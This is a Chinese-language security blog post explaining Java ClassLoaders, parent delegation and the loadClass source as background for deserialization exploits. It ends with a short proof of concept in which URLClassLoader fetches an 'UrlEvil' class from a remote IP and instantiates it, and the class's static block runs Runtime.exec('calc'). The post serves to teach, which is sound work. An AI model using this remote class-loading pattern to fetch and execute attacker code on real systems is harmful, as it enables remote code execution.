• 版本:jdk8u25

对classloader的分析

ClassLoader

这一段是非常基础的东西,是在学反序列化之前就要了解的,拿出来巩固一下,如果你已经完全了解了,直接跳过这一段就行了

众所周知,java的类想要运行,就必须被JVM加载,而classloader的作用就是把class文件加载进内存

Java虚拟机本身就定义了三种最重要的类加载器,分别为:

Bootstrap ClassLoader(引导类加载器)

  • 加载JDK的核心类库,比如:java.lang.、java.util.
  • JVM内部用C/C++实现的,不是Java类
  • 这个ClassLoader没有父类加载器,也不能实例化

Extension ClassLoader(扩展类加载器)

  • 加载JDK的扩展类库,比如JAVA_HOME/lib/ext目录下的jar包
  • 父加载器是Bootstrap ClassLoader。
  • 实现类sun.misc.Launcher$ExtClassLoader

App ClassLoader(系统类加载器)

  • 加载classpath路径下的类,也就是我们写的程序(例如src/target里的类)
  • 它是默认的类加载器:如果我们没有指定类加载器,Java就使用这个
  • 通过ClassLoader.getSystemClassLoader()获取到的就是它。
  • 实现类:sun.misc.Launcher$AppClassLoader

这三种类加载器是有层级结构:

1
2
3
4
5
AppClassLoader
↓慈父
ExtClassLoader
↓慈父
BootstrapClassLoader

这个结构就体现了”双亲委派模型”,当一个类加载器需要加载某个类时,它会先委托自己的慈父加载器去加载。如果慈父加载器找不到,它才自己尝试去加载

很多人可能会很一头雾水,对于这个模型,为啥要先委托慈父加载呢

主要是为了避免重复加载和保证核心类不会被用户自定义类覆盖

举个例子,假如没有这个机制,用户自定义了一个java.lang.String并用自定义ClassLoader加载,如果直接被加载进去了,Java改用原本的String还是你写的String呢

那么稍微认识了类加载器,我们再熟悉类加载过程,早在我解析TemplateImp链子的时候,我就稍微提起了类加载的过程,而现在我细致的讲一讲

而加载的第一步便是调用ClasssLoader.loadClass函数

loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}

先调用findLoadedClass(name);查看是否类已经加载,如果是则判断resolve是否为True,是则调用resolveClass解析该类,默认这个参数是false

解析类的意思就是把类转化为类引用,也就是内存地址,方便运行时直接调用

当然,如果为False时就不会立即解析,但在第一次运行调用对应类时还是会解析

如果此类没被加载过,就查看当前加载器有没有慈父,有就让慈父帮忙,没有就调用BootstrapClassLoader加载

如果BootstrapClassLoader还没能帮上忙,就调用当前类的findClass,如果当前类没重写findClass,就直接报错

当然如果通过自定义的findClass找到了字节码,调用defineClass就能把类给注册了

UrlClassLoader

这个类实现了远程加载资源的能力,被滥用的话往往会造成漏洞,我们做个小测试

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
package test;

import java.net.URL;
import java.net.URLClassLoader;

public class exp {
public static void main(String[] args) throws Exception{
URL url = new URL("http://47.120.45.86:8888/");
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
Class clazz = ucl.loadClass("UrlEvil");
Object obj = clazz.getDeclaredConstructor().newInstance();
}
}



这里得注意一下,如果像加载远程的UrlEvil类,当前项目中不能有同名类,不然他会优先加载本地的

UrlEvil.java

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class UrlEvil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝